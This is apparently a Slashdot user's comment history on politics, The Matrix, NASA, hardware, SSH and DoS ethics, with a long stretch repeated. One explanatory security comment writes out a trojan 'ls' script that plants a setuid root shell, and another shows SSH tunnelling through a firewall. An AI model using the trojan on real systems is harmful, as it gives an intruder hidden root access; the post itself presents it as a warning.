You are right on the money here. US citizens (the ones who think about, that is) are genuinely glad that our political system makes it hard to get things done. Tyranny is a very effective form of government, but it is antithetical to individual acheivement. The perpetual tension between individual liberty and collective security is the line that demarks political conflict in this country.
God save us from effective government!
(And I'm a supporter of government intervention for social and economic justice! Even so, I think it should be damned near impossible for me to get into your paycheck to pay for my agenda. That same inertia protects me and my paycheck from agendas such as that of the Christian Coalition. A dangerous blind spot in many interest groups is how dismantling regulatory barriers to their agenda takes down the barriers for opposing agendas. It is and should be nearly impossible to get anything done!)
You should have seen this coming when the Bush campaign had him walking to the rostrum withe the song "Taking Care of Business" playing in the background. Taking Care of Business is what ALL administrations do (do you really think a socialist could be elected in the US? Not with the money required to run a campaign). To me the question is do you want an adminsitration that will take care of business with one eye on the environment and the lowest social strata, or one who will take care of business and to hell with the environment and the poor and weak. (Bet you can't tell who I will vote for!)
Look, once you get to this stage, the candidates are bought and paid for. You simply have to look at the company they keep and decide how to vote. You won't get real change until we decide to shake off the big money.
My 10 cent recipie for reform? Proportional representation in the House of Representatives (that means instead of winner takes all, you vote for parties and the delegation is made up proportionally based on vote. If it goes 40% Republican, %30 Democrat, %20 Reform, %10 Socialist and your state has 10 house seats, you send 4 republicans, 3 democrats, 2 reform party, and 1 socialist member). Television stations required to donate time to candidates. Candidates required to speak for themselves in a medium close shot before a neutral background with no cuts (not free speech? Only if I tell them what to say.).
Ahh, hell, I don't know the answers. I just know that the will of the people is lost in money and power free for all and the only standing between us and pure oligarchy (if not outright plutocracy) is our vote. No matter how tweedledum and tweedledee it seems, it is still important to vote. The only reason our real needs are addressed at all is the need to win our votes.
Hey, me too, man. That includes having my say and sharing my ideas. Only you can judge what they are worth to you. I'm not slamming anyone for liking The Matrix (well, maybe a little), just offering a two-bit opinion. I don't believe in censoring anyone, or in keeping you from seeing whatever you want. I'm just hoping we can all learn to like better things by really looking at them and thinking about them, instead of having them merely wash over us passive zombies like a tide of sewage.
In fact, the one part of The Matrix that really did work for me was the idea that we are all only semi-concious, afloat in a world of comfortable sensation and illusion. When it plays with that feeling, it is eerily effective. I just found the core idea so technically bogus that I couldn't swallow it. I found the plot resolution ridiculous (Gawd! I am sooooo tired of "chosen one" plots! What a dramatic cop out! God/Jesus/Keanu? Come on!) If you can't find a way for a human being to do, think, change, grow into a man capable of solving the hero's problem, then maybe the hero has an insoluable problem. To me this is nothing but hackneyed writing: Paint the hero into a corner and then, bam! Magic bails him out! He is, after all, the chosen one! Crap.
Sorry, I didn't really mean to rant on, but the slavish adoration of this film is really getting to me. It's old wine in a really pretty new bottle, folks.
In any case, my real point is that I waste time on Slashdot because it affords me a chance from time to time to say things that matter to me and read things I hadn't thought of before. Those chances are rare, but I enjoy having them. I hope you enjoy whatever you do too. There's lots of room out here.
Throwing all karma to the wind, let me leap in here again and just point out what a poor and pathetic excuse for a movie The Matrix was. It was pretty to look at. It was loud. It thought brass shell casings falling on ceramic tile was friggin' ballet.
What it also was was inane: The notion that human beings can be an energy source is absolutely ludicrous. You could live only about a week on the liquified remains of another human being, so it would take 52 people dying a year to keep one human battery alive. Can you say diminishing returns?
Okay, even suspending the laws of thermodynamics, we are still left with the idea that an AI with capability to write anything it likes into everyone's brain can be overcome by Keanu Reeves because "he is the one." What the heck does that mean? Does this mean he can stop the AI from writing whatever it likes into his brain? Whoop-de-doo! It can still write whatever it likes into the brains of everyone else. Does it mean he can kill the virtual entities the AI has placed in the Matrix? How?
I am completely unsatisfied by the explanations the movie offers. They simply don't make sense. The hero wins in the end not because of what he does, how he grows, but merely by coming into his own. He wins because he had to win.
One of the most pernicious myths is that there is an indomitable human spirit. There is no such thing. Read "Night" by Eli Weisel (I may have misspelled his name) which recounts his experiences as a prisoner of the Nazis. Anyone who believes in the indomitable human spirit has not read of the night train ride near the war's end where Eli sees a young man beat his father to death for a crust of bread while the father cries and says the son's name over and over again.
Now all of this bashing is not to say that there isn't something good in the Matrix. First off, it is eye candy. Second off, the one good thing it says basically is that the struggle for authenticity (a REAL life) is a struggle worth undertaking, even when the illusion is more comfortable. The problem is, there is nothing real about the solution. It ends because it must end. It ends with the triumph of the hero because the hero must triumph.
The truth is, given the situation posited, it makes much more sense for Keanu to be beaten to a pulp and turned into a good little zombie, because barring the Deus Ex Machina of "he's the chosen one" that's what the AI should be able to do.
Finally, I am really disappointed by the violence in the movie. I really and actually am made uncomfortable by beauty of the scenes of profligate gunfire. They are beautiful. The problem is that the effects of gunshots on human beings are not even remotely beautiful.
Real pain and suffering an death are not pleasant. Watching your father waste away from cancer is not pleasant. Believe me. I stood there and watched. I watched as his eyes popped open to take one last look at this world, to try to take it all in, to bring with him this world he loved but never fully knew how much. I watched as his eyes glazed over and his rattling breath ceased and all that he was was gone.
Death is not f-ing entertainment. Death is loss, permanent, searing, incosolable. Death is not an amusement park. And I am really, really tired of movies that make it into one.
I'm not saying people shouldn't make these movies. They can do whatever they damned well please. I just beg you to take a moment now and then to think about what goes through your eyes to your brain, and then think about the fact, the incontrovertable fact that one day your eyes will pop open to take one last look at this world that you never knew how much you loved, that they will glaze over and your last rattling breath will leave your body and everything that you are will be gone.
For the record, I am not a boy. I'm a 33 year old MAN who is willing to put his name on his Slashdot account and post under it. I am, however, most definitely a geek. Rather proud of it, too, as it allows me to earn a better living than my father, who served in this country's military, and my brother who also serves, and of whom I am very proud and to whom I am most humbly grateful for his willingness to go in harm's way for me and the space program.
I take genuine offense at an admitted anonymous coward taking potshots at my patriotism because I point out that a weapons system the Air Force didn't even want costs more per unit than an entire space exploration mission.
I approve of the "anonymous coward" posting system because it allows people to express outright dangerous opinions, but when it is used to slander someone, then it truly lives up to the "coward" part of its name. You should be ashamed of yourself, sir or madam.
Not to respond to a troll, but to respond to this troll: Linux is probably not crashing. The user-level "TiVo" application may be crashing. Since I'm gessing you can't telnet into your TiVo, you can't kill the job and re-start it. You're left with a reboot.
First off, let me say I read stab's excellent post ("I worked there, and I find it Hard to Believe") and I completely agree with what he says there. I, too, find it difficult to believe this story. But I am interested in why such a story is given credence enough to be published.
I think NASA has a serious credibility problem that stems in no small part from the mid-1980's Challenger accident. We have seen NASA attempt to pass off bad decision making (the Challenger launch was opposed by every Thiokol engineer on the SRB team) as a technical judgement call too complex to hold them accoutable for. Dr. Feynman's now famous ice water experiment at the hearings took the air out of that effort.
Any of us who were around for that (pointless aside: one of the most baffling things about getting older is how shocking we find it that anyone could be too young to remember things we remember -- nothing is more surprising than aging) can remember the image of NASA management as a bunch of toadying bureaucrats posing as engineers to avoid responsibility for a colossal tragedy.
I think this is why a story like this one, which is little more than rumormongering, gets disproportionate attention.
I, for one, supported the hardworking scientists and engineers involved in the Space Program even as NASA leadership struggled to hide bad decisions made for political expedience as complex technical problems boldly handled by courageous decision-makers who had to let the chips fall in the face of their petty and waffling engineers (can you tell NASA infuriated me during the Challenger hearings?). JPL has done magnificent work, and I think even the worst NASA managers were just trying to avoid the destruction of their careers, an understandable if self-serving goal. I'm sure each of them is haunted each day by the image of those trails of smouldering debris trailing out of the sky.
The business of exploration and discovery is fraught with risk. Sometimes things fail. Whether that failure is human or mechanical the aftermath should be the struggle to understand the nature of the failure, not to find someone on whom to hang the blame.
As much as I think NASA needed to be raked over the Challenger accident, it was becuase it was an avoidable tragedy. NASA needed to be changed such that if the same circumstances arose, the right decision will be made next time.
I remember seeing an interview with Roger Beaujolais, a senior engineer at Morton-Thiokol at the time of the Challenger accident. In that interview he talked about watching the launch after he and all the other engineers had advised against the launch. He said, after the shuttle cleared the tower, "We just dodged a bullet." A moment later the spacecraft disintegrated in a collosal fireball and seven people lost thier lives, including Chirstine Macauliff (sp?), the much touted "Teacher in Space." Roger Beaujolais lives with that moment every day of his life. So do all the men and women of NASA.
I do not believe this story about the lander in no small part because in my heart and soul I pray that human memory is not that short. That no one in the NASA that remained after the Challenger accident would ever, could ever hide a failure, even one that involved no loss of life.
And for those who think $150 million is some sort of monumental waste, how much does one B1 bomber cost? A lot more than the entire Mars Polar Lander project...
I also had problem with the whole idea of anyone involved being upset at the thought of delaying the game release so it wouldn't queer the IPO. How do they think their stock would do after the first few deaths in the shopping malls?
Venal greed does a lot of harm, but even the most ruthless capitalist knows that killing your customers reduces repeat business (unless you kill them slowly, like with tobacco)...
I also laughed out loud when they said shutting down the game would wipe out the program. I'll bet at least one team member took a floppy home...;-)
I've never been afraid of these "computers take over" plots. The one thing The Matrix almost got right was the "real" threat of our technology -- that the technological fantasy will one day become so much more appealing and compelling than "real life" that we would come to prefer it. The trouble is, I think this has already happened. The world of television, advertising, music viedos, and games is already preferred by many to the world of love, pain, boredom, and loss that real life is. Real life is long, dull, and ends in death. Fantasy life is short, flashy, and has reruns. Real life has love, which is half joy, and half pain; and having love means knowing loss. Fantasy life is pleasure without commitment, shallow gratification, and you can always play it back.
Try reading a little book called "The Continent of Lies" by (James?) Morrow. I think it gets to it...
Here's something you should never ask on/., but just how dumb am I?
Of the six machines on my home network, I have two Cyrix chips, three AMDs, and one genuine Intel (and that, believe it or not, is my amateur packet radio router running on a 386SX16! AMPR is like a 9600 baud ethernet without collision detection -- a 386SX is up to the job). One of the AMDs is an Athlon, and the Cyrix'es are a pre-MMX 6x86 "PR200" which, of course, runs at 150MHz, and an MII-333.
I knew the "PR" stuff was BS when I bought them. I bought them because they were cheap. Cheap, cheap, cheap. I'm not a big game player (Civilization is about all I play) and the first 6x86 ran fine for what, four years now? (God help you with Cyrix chips if your CPU fan dies, though!).
Here's my point: I researched the devices before I bought them. I knew how well they did integer operations, register operations, and floating-point (which I hardly ever use) operations compared with the Intels, and I knew what I would be using them for (mostly writing and compiling C/C++ code on Linux) and I knew how much they cost.
I haven't had a single problem or compatibility issue.
Is Cyrix so variable in quality that I had the only two that aren't lemons, or did a lot of people swallow a bunch of marketing BS and buy things they ought not to have bought given their intended use? I'm genuinely asking. I haven't had a single problem. Have I just been lucky?
Oh yeah, I don't have any MediaGX's despite how cheap they are because I do my homework and for a long time there were Xfree and other issues with that particular cheap chip. That's when I went back to AMD. (My other low end box is an AMD-486DX4 clone that I have running FreeBSD basically to serve up a couple of CDROM drives via NFS -- Another low end machine that remains adequate to its task. I put my "Webmaster in a Nutshell" and my "Java in a Nutshell" deluxe CD-ROMs in it and then use them wherever I am on my network, from desktops to my AMD laptop [sorry, 7 machines, 4 AMDs])
Re:Telnet is the only solution.
on
SSH v. SRP
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· Score: 3
Huh, I say, Huh?!?
When you telnet to a specific port you are just connecting a socket to it and passing stdin to it and passing what comes out of it to stdout. If you had to write this from scratch it would be about 150 lines of C code (and many fewer lines of perl or Java code). You aren't "sacrificing telnet" to use ssh!
The rest of telnet is support for terminal emulation and some terminal capabilties negotiation at start up, all of which works only when talking to telnetd, and none of which comes into play when connecting to any other port (unless, of course, you're connecting to telnetd on another port).
A later poster complains that ssh is only useful for shell accounts. Absurd. You can do arbitrary port forwarding through ssh, turning ANY network service into an encrypted service. It is a VERY handy way to create a secure opening through a firewall:
Machine A is behind a firewall that forbids incoming connections. Machine B is out on the internet.
You want to use a service on machine A from machine C (another machine out on the internet).
Machine A can make an outbound ssh connection to machine B and tell machine B to open port 3500 on B for listen and to "tunnel" it to port 80 on machine A.
Machine C can then type this URL into his browser:
http://[machine B's address]:3500/
This will connect to port 3500 on machine B (obviously), but less obvious is that machine B will forward all traffic encrypted over the SAME ssh socket Machine A has open to B. No one observing the traffic between A and B will know that machine C sent traffic to machine A, nor will they be able to tell that more than one "conversation" is taking place over the single link.
SSH is not sacrificing freedom, it is enabling freedom. No, I won't use SSH2 (which is a close commercial product), but I certainly will use SSH1 and OpenSSH.
I've thought of dozens! Unfortunately, all of them are just as easily compromised as the original. It is a tough nut to crack. I've thought about an MD5 hash that includes the result and the client code memory image, but since a programmer can just write a routine that calculates an MD5 sum over his bogus data set and his real client image, it isn't much of a solution, is it?
The same problem seems to exist with networked games. How do you prevent cheating?
I'm not sure you can prevent cheating, but can't you at least use public key cryptography (specifically digital signatures) to definitively identify sources? You then double check a random packet that comes in with that signature. If it is good, you can be reasonably sure that everything that comes in signed with that key is good? (You don't want to validate a fixed packet, say, the first packet -- an attacker would send back a real first packet and then send fake ones). From then on you retest random packets from random users. If you retain the cryptographically verified identity of the origin of each result, you can quickly isolate all results from a source that shows up with false negatives in a random check.
If everyone participating knows that they will definitely be checked at least once for validity, and may be checked additional times at any time, then I think the incentive to cheat will be brought down several notches.
Sure, in this scheme someone can implement the public key crypto algorithm solely to leigitimately send fake data, but since they have to send you the public key and must sign each result set with the private key, you WILL be able to identify and remove the bogus source when you detect it.
I realize this is a lot more server side work! I also realize it may be impossible because of crypto export regulations (ding dang it!), but I still think a scheme along these lines could be implemented without too much difficulty.
This idea may be full of holes (I worked it out as I typed, so I haven't exactly "bench audited" it!), but I think the premise is sound. It doesn't prevent anything, but it is likely to detect abuse and any abuse can easily be isolated and removed...
Since you say "we're required to obscure," I presume you are part of distributed.net. Please understand that I respectfully disagree with your policy. In other words, it's not the choice I'd make, but I don't consider you to be a bunch of blinkered philistine code despots either!
I simply do not think hiding the code prevents a thing and opening might prevent embarassing incidents like this one.
I *do* understand that opening the code makes it easier to generate "fake" data, and that it requires person-hours to undo such shenanigans. If you had more bogus data, it might overwhelm your ability to remove it and block the generators of it.
You might find, however, some creative remedies out in the world if you let your peers review it.
In any case, I did read the document you cite, I just disagree with it. That disagreement is tempered by respect for your point of view and your accomplishments. I certainly haven't built anything that matches the acheivements of distributed.net.
Good luck on the fix, and meanwhile, back to RC5-64!
They release only parts of the code. They do not release the code for sending/recieiving buffers (the very part that was broken in this case). If you had *followed* the link to the source and read the FAQ you would know that.
This is so late that no one will read it, but I'll say it anyway:
This is something to prevent you from getting cracked. Suppose you have an employee with an account on your Unix system who is "respectable programmer guy" by day, but by night becomes: "cracker J!" He places a shell script called ls in your root account home directory that contains the following:
cp/bin/sh/home/rpg/innocent chown root:root/home/rpg/innocent chmod u+s/home/rpg/innocent ls $* rm/root/ls
And viola! He has a shell he can run anytime to become root. You can even change your root password and it won't make any difference. He doesn't have to type a password to become root. He just types "innocent" and (like Emeril would say) BAM! He has a root privledged prompt.
This is why you should also periodically scan for new setuid programs appearing from nowhere on your systems, but that's a different lesson...
Once he has root on one of your systems, he has many more ways to compromise other systems on your network than he had before he got root permissions on this box.
Don't make the mistake of thinking that this is just an "after the fact" rule!
I still participate in distributed.net efforts using many boxes. I have them up all the time anyways. I consider it increased productivity to let someone do something marginally useful with my idle clocks.
That said, if they would release the source for their clients they would find these problems sooner (I suspect) and there would be less wasted time and resources...
There is no size requirement for a "downtown." The term comes from the street numbers, which are smallest in the center of a town. Even very small towns have downtowns. I've been in towns with populations of less than 100 that have very distinct downtowns.
This is just about the best post on this subject that I have seen anywhere. I admire the balance brought to bear here: While "fundamentalists" are labeled as the advocates of censorship, the author does not automatically extend this to "Christians" or to "religious people."
The fact that screening software blocked out certain group's anti-homosexual content was illuminating. Censorship is the dog that turns on its master. You cannot use this weapon without turning it on yourself. If we were all more worried about our own development as moral beings and less worried about what others might be doing, we would make greater progress as a moral society.
No religious basis is necessary in order to be a moral person. In fact, religion *hinders* morality. It lowers the mentality to the level of a two year old.
Personally, I come down firmly on both sides of this issue. I do not believe that it is necessary to believe in a religion to act morally.
Kierkegaard, who was Christian, set himself the problem of defining morality in the absence of religion. He essentially came up with a grandiose version of the Golden Rule. He said that by commiting an act, you in essence sanction that act. You say it is okay for everyone to act that way. If you act in a way that is socially harmful, that harm will will eventually come to you from another. The awareness of this fact should cause one to act morally because ultimately, this leads others to act morally.
This replacement of ethic by action is one of the foundations of existential thought.
I happen to think this way of thinking is entirely sufficient for a system of morals.
The problem is, sometimes the harm caused by the moral sanction of an act (say, buying cheap clothes that are cheap because they were made by practically slave labor) is hard to see. Sometimes people are too self absorbed to see that their actions are harmful (how does me cheating on this test harm anyone else?) to the community.
It is much more simple to take the "You go to hell! You go to hell and you die!" system to coerce moral action.
Now, that said, I hardly think that religion, in and of itself, necessarily arrests moral development. From Aquinas to Kierkegaard, from Thomas More to Thomas a Becket, from Mohandas Ghandi to Martin Luther King, people of faith have wrestled with questions of morality and society with great depth, sophistication, and insight.
Sure, some "religious" people use their "you go to hell and you die!" black and white world view to render the moral universe into a "two year-old" mentality, but this is not because of religion. This is becuase they, themselves, happen to have a two year-old mentality.
Non-religous persons are equally capable of oversimplifying moral questions.
That's why I loved "What Would Brian Boitano Do?" as a parody of the oversimplistic "What Would Jesus Do?" school of moral philosophy.
Although I don't see even that as inherently dangerous. If WWJD causes some people to reflect on the consequences of their actions before they act, it probably does improve moral conduct. The problem I have is the imprimateur one might think this gives their actions. "I thought about it, and this is what Jesus would do, therefore what I am doing is as righteous as Christ himself!" I don't think human agency should ever presume such knowledge.
Actually, here's one more thought to throw your way. What if people in Germany had risen up and decried the Nazi philosophy and fought it, openly and publicly, before the consolidation of the power of the Chancellor following the infamous Reichstag fire? Would partisan action have been necessary?
I don't remember whom I am quoting here, so if one of you knows, please give appropriate credit: "The only thing necessary for evil to triumph is for good men to do nothing."
Now wait a minute, we are not talking about resisting tyranny in a police state, we are talking about civil disobedience which is, in essence, a propoganda tool designed to raise public awareness in a democracy, or, in a more repressive political climate, to incite a majority to action.
Partisan action against a violent repressive government is not "civil disobedience," it is guerilla warefare or an "underground."
Perhaps we were not in agreement about terms here. Resistance to Hitler's regime, from providing information to the Allies to slashings tires on government vehicles would not be, to me, acts of civil disobedience. And I absolutely agree with you that such acts are honorable in such a context. But the United States is NOT, no matter how upset you may legitimately be with it, in no way comparable to Europe under Nazi occupation.
I said it in my earlier post, but I'm going to say it again here (so, yes, mark me redundant if you must): Certainly a DoS attack can be a legitimate form of civil diobedience, but if you are going to do it as such, have the courage of your convictions and launch the attack directly from your own machines on your own network, using your real IP address. Then its civil disobedience.
My attitude towards Greenpeace protests would be quite a bit different if they went down to local nursing home, yanked old people out of their beds (they're easier to handle than say, rading a gymnasium), and chained them to the gates of a nuclear power plant.
When you sneak through other people's accounts, machines, and networks to both hide your identity and launch your attack, then you are effectively chaining up the elderly (metaphorically speaking, of course). For an act of civil disobedience to be an honourable act, one must openly reveal one's identity and run the risk of arrest and imprisionment. I'm not impressed if someone comes up to me and says "I told my girldfriend to chain herself to the gate. I stayed home. I had the sniffles."
Civil disobedience by proxy is the act of a coward. A sniveling little spineless coward.
My account info has my real name and my real primary e-mail address. I stand up for what I say. I don't lay booby-traps or hide behind other people.
Well, Arthur, I don't actually care if they are 47 years old. They behave like children, they should expect to be treated like children. Filling a pipe with packets or sending malformed TCP handshakes is hardly a technical breakthrough.
I'd like to hear more about this story that it was a router failure, rather than an attack -- I saw one post that mentioned, is there any authority that can weigh in? The only thing less useful than bashing net children is bashing non-existent net children...
...has to pay more attention to security. While I am sure there are quite a few people willing to cooperate in launching a DoS attack (and, BTW, who cares if it is typed DoS or DOS?), I'm equally sure the primary method is to launch the attack from the cover of a number of compromised systems. A DoS attack can be done with any compromised account, too. It doesn't require a "root" compromise if all you are doing is flooding a router or set of routers from multiple different networks. You only need a root compromise to do "cool" stuff with forged headers and illogical option bits (like SYN-FIN). If you are launching your attack from compromised accounts that you logged into from other compromised accounts, you don't care about forging headers. Your identity is already hidden by other means. What do you care if some suits come knocking on the door of the owner of the compromised host? You aren't there.
This means that we all have to take security seriously. That password matters. Don't share it. If you have resources, use two part authentication. Take reasonable precautions. Audit your setuid programs. Don't put "." in your path. Don't have world-writable files. If you can't afford commercial 2-part auth solutions, at least use ssh instead of telnet. Etc., etc., etc.
We can't afford to have security be the province of experts and miscreants. Responsible netizenship demands that we take security seriously, at least to enough of an extent that we can be confident our own systems aren't being used by others to attack systems.
Some people believe that cracking systems or launching DoS attacks are a legitimate form of civil disobedience. I actually agree with that. But you are only engaging in legitimate civil disobience if you are doing it on your own equipment and not concealing your identity. Protesters go somewhere openly and risk arrest. Vandals sneak around in the dark wearking ski masks and painting slogans. One is a principled stand and the other is a cowardly crime. Furthermore, when you use someone else's computer in your act of civil disobedience, it would be like the act of, when the police wade into your protest with their truncheons flailing, grabbing the nearest non-participant and using them as a shield. Cowardly.
So, as always shy with my opinions, that's what I think the giant DoS means.
Anyone know if this was mere mischeif or if there was a motive for this incident, BTW?
I'm leaping in late, so I will probably get lost in the fray, but here goes:
I love the Katz postings and I really don't much like Katz. I love the postings because some very good and elightened discussions follow your blatantly slanted and singleminded posts. In other words, when you read between the flames that follow any Katz posting you see some of the best of what Slashdot has to offer.
None of this has anything to do with my question. My question is this:
Do you see any danger in two tendencies I see in your postings about youth alienation? Tendency 1: You tend to assume that all alienated young people fall into one category: geek, and that that category is uniquely characterized by intelligence, computer use, and gaming culture. Tendency 2: You tend to elevate, dare I say, normal adolescent angst into a cause decrying the whole of the adult world.
I think you oversimplify. There are alienated kids who do not obviously belong to a marketing demographic. There are geeks who are not alienated. You seem to have a tendency to absolve the young and alienated from any resposibility for their status or their actions. How would you defend what you do against these assertions?
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You are right on the money here. US citizens (the ones who think about, that is) are genuinely glad that our political system makes it hard to get things done. Tyranny is a very effective form of government, but it is antithetical to individual acheivement. The perpetual tension between individual liberty and collective security is the line that demarks political conflict in this country.
God save us from effective government!
(And I'm a supporter of government intervention for social and economic justice! Even so, I think it should be damned near impossible for me to get into your paycheck to pay for my agenda. That same inertia protects me and my paycheck from agendas such as that of the Christian Coalition. A dangerous blind spot in many interest groups is how dismantling regulatory barriers to their agenda takes down the barriers for opposing agendas. It is and should be nearly impossible to get anything done!)
You should have seen this coming when the Bush campaign had him walking to the rostrum withe the song "Taking Care of Business" playing in the background. Taking Care of Business is what ALL administrations do (do you really think a socialist could be elected in the US? Not with the money required to run a campaign). To me the question is do you want an adminsitration that will take care of business with one eye on the environment and the lowest social strata, or one who will take care of business and to hell with the environment and the poor and weak. (Bet you can't tell who I will vote for!)
Look, once you get to this stage, the candidates are bought and paid for. You simply have to look at the company they keep and decide how to vote. You won't get real change until we decide to shake off the big money.
My 10 cent recipie for reform? Proportional representation in the House of Representatives (that means instead of winner takes all, you vote for parties and the delegation is made up proportionally based on vote. If it goes 40% Republican, %30 Democrat, %20 Reform, %10 Socialist and your state has 10 house seats, you send 4 republicans, 3 democrats, 2 reform party, and 1 socialist member). Television stations required to donate time to candidates. Candidates required to speak for themselves in a medium close shot before a neutral background with no cuts (not free speech? Only if I tell them what to say.).
Ahh, hell, I don't know the answers. I just know that the will of the people is lost in money and power free for all and the only standing between us and pure oligarchy (if not outright plutocracy) is our vote. No matter how tweedledum and tweedledee it seems, it is still important to vote. The only reason our real needs are addressed at all is the need to win our votes.
Hey, me too, man. That includes having my say and sharing my ideas. Only you can judge what they are worth to you. I'm not slamming anyone for liking The Matrix (well, maybe a little), just offering a two-bit opinion. I don't believe in censoring anyone, or in keeping you from seeing whatever you want. I'm just hoping we can all learn to like better things by really looking at them and thinking about them, instead of having them merely wash over us passive zombies like a tide of sewage.
In fact, the one part of The Matrix that really did work for me was the idea that we are all only semi-concious, afloat in a world of comfortable sensation and illusion. When it plays with that feeling, it is eerily effective. I just found the core idea so technically bogus that I couldn't swallow it. I found the plot resolution ridiculous (Gawd! I am sooooo tired of "chosen one" plots! What a dramatic cop out! God/Jesus/Keanu? Come on!) If you can't find a way for a human being to do, think, change, grow into a man capable of solving the hero's problem, then maybe the hero has an insoluable problem. To me this is nothing but hackneyed writing: Paint the hero into a corner and then, bam! Magic bails him out! He is, after all, the chosen one! Crap.
Sorry, I didn't really mean to rant on, but the slavish adoration of this film is really getting to me. It's old wine in a really pretty new bottle, folks.
In any case, my real point is that I waste time on Slashdot because it affords me a chance from time to time to say things that matter to me and read things I hadn't thought of before. Those chances are rare, but I enjoy having them. I hope you enjoy whatever you do too. There's lots of room out here.
Throwing all karma to the wind, let me leap in here again and just point out what a poor and pathetic excuse for a movie The Matrix was. It was pretty to look at. It was loud. It thought brass shell casings falling on ceramic tile was friggin' ballet.
What it also was was inane: The notion that human beings can be an energy source is absolutely ludicrous. You could live only about a week on the liquified remains of another human being, so it would take 52 people dying a year to keep one human battery alive. Can you say diminishing returns?
Okay, even suspending the laws of thermodynamics, we are still left with the idea that an AI with capability to write anything it likes into everyone's brain can be overcome by Keanu Reeves because "he is the one." What the heck does that mean? Does this mean he can stop the AI from writing whatever it likes into his brain? Whoop-de-doo! It can still write whatever it likes into the brains of everyone else. Does it mean he can kill the virtual entities the AI has placed in the Matrix? How?
I am completely unsatisfied by the explanations the movie offers. They simply don't make sense. The hero wins in the end not because of what he does, how he grows, but merely by coming into his own. He wins because he had to win.
One of the most pernicious myths is that there is an indomitable human spirit. There is no such thing. Read "Night" by Eli Weisel (I may have misspelled his name) which recounts his experiences as a prisoner of the Nazis. Anyone who believes in the indomitable human spirit has not read of the night train ride near the war's end where Eli sees a young man beat his father to death for a crust of bread while the father cries and says the son's name over and over again.
Now all of this bashing is not to say that there isn't something good in the Matrix. First off, it is eye candy. Second off, the one good thing it says basically is that the struggle for authenticity (a REAL life) is a struggle worth undertaking, even when the illusion is more comfortable. The problem is, there is nothing real about the solution. It ends because it must end. It ends with the triumph of the hero because the hero must triumph.
The truth is, given the situation posited, it makes much more sense for Keanu to be beaten to a pulp and turned into a good little zombie, because barring the Deus Ex Machina of "he's the chosen one" that's what the AI should be able to do.
Finally, I am really disappointed by the violence in the movie. I really and actually am made uncomfortable by beauty of the scenes of profligate gunfire. They are beautiful. The problem is that the effects of gunshots on human beings are not even remotely beautiful.
Real pain and suffering an death are not pleasant. Watching your father waste away from cancer is not pleasant. Believe me. I stood there and watched. I watched as his eyes popped open to take one last look at this world, to try to take it all in, to bring with him this world he loved but never fully knew how much. I watched as his eyes glazed over and his rattling breath ceased and all that he was was gone.
Death is not f-ing entertainment. Death is loss, permanent, searing, incosolable. Death is not an amusement park. And I am really, really tired of movies that make it into one.
I'm not saying people shouldn't make these movies. They can do whatever they damned well please. I just beg you to take a moment now and then to think about what goes through your eyes to your brain, and then think about the fact, the incontrovertable fact that one day your eyes will pop open to take one last look at this world that you never knew how much you loved, that they will glaze over and your last rattling breath will leave your body and everything that you are will be gone.
What did you do with that time?
For the record, I am not a boy. I'm a 33 year old MAN who is willing to put his name on his Slashdot account and post under it. I am, however, most definitely a geek. Rather proud of it, too, as it allows me to earn a better living than my father, who served in this country's military, and my brother who also serves, and of whom I am very proud and to whom I am most humbly grateful for his willingness to go in harm's way for me and the space program.
I take genuine offense at an admitted anonymous coward taking potshots at my patriotism because I point out that a weapons system the Air Force didn't even want costs more per unit than an entire space exploration mission.
I approve of the "anonymous coward" posting system because it allows people to express outright dangerous opinions, but when it is used to slander someone, then it truly lives up to the "coward" part of its name. You should be ashamed of yourself, sir or madam.
Sorry, bad day...
Not to respond to a troll, but to respond to this troll: Linux is probably not crashing. The user-level "TiVo" application may be crashing. Since I'm gessing you can't telnet into your TiVo, you can't kill the job and re-start it. You're left with a reboot.
Noww if TiVo were open source....
First off, let me say I read stab's excellent post ("I worked there, and I find it Hard to Believe") and I completely agree with what he says there. I, too, find it difficult to believe this story. But I am interested in why such a story is given credence enough to be published.
I think NASA has a serious credibility problem that stems in no small part from the mid-1980's Challenger accident. We have seen NASA attempt to pass off bad decision making (the Challenger launch was opposed by every Thiokol engineer on the SRB team) as a technical judgement call too complex to hold them accoutable for. Dr. Feynman's now famous ice water experiment at the hearings took the air out of that effort.
Any of us who were around for that (pointless aside: one of the most baffling things about getting older is how shocking we find it that anyone could be too young to remember things we remember -- nothing is more surprising than aging) can remember the image of NASA management as a bunch of toadying bureaucrats posing as engineers to avoid responsibility for a colossal tragedy.
I think this is why a story like this one, which is little more than rumormongering, gets disproportionate attention.
I, for one, supported the hardworking scientists and engineers involved in the Space Program even as NASA leadership struggled to hide bad decisions made for political expedience as complex technical problems boldly handled by courageous decision-makers who had to let the chips fall in the face of their petty and waffling engineers (can you tell NASA infuriated me during the Challenger hearings?). JPL has done magnificent work, and I think even the worst NASA managers were just trying to avoid the destruction of their careers, an understandable if self-serving goal. I'm sure each of them is haunted each day by the image of those trails of smouldering debris trailing out of the sky.
The business of exploration and discovery is fraught with risk. Sometimes things fail. Whether that failure is human or mechanical the aftermath should be the struggle to understand the nature of the failure, not to find someone on whom to hang the blame.
As much as I think NASA needed to be raked over the Challenger accident, it was becuase it was an avoidable tragedy. NASA needed to be changed such that if the same circumstances arose, the right decision will be made next time.
I remember seeing an interview with Roger Beaujolais, a senior engineer at Morton-Thiokol at the time of the Challenger accident. In that interview he talked about watching the launch after he and all the other engineers had advised against the launch. He said, after the shuttle cleared the tower, "We just dodged a bullet." A moment later the spacecraft disintegrated in a collosal fireball and seven people lost thier lives, including Chirstine Macauliff (sp?), the much touted "Teacher in Space." Roger Beaujolais lives with that moment every day of his life. So do all the men and women of NASA.
I do not believe this story about the lander in no small part because in my heart and soul I pray that human memory is not that short. That no one in the NASA that remained after the Challenger accident would ever, could ever hide a failure, even one that involved no loss of life.
And for those who think $150 million is some sort of monumental waste, how much does one B1 bomber cost? A lot more than the entire Mars Polar Lander project...
Go ahead.
I also had problem with the whole idea of anyone involved being upset at the thought of delaying the game release so it wouldn't queer the IPO. How do they think their stock would do after the first few deaths in the shopping malls?
;-)
Venal greed does a lot of harm, but even the most ruthless capitalist knows that killing your customers reduces repeat business (unless you kill them slowly, like with tobacco)...
I also laughed out loud when they said shutting down the game would wipe out the program. I'll bet at least one team member took a floppy home...
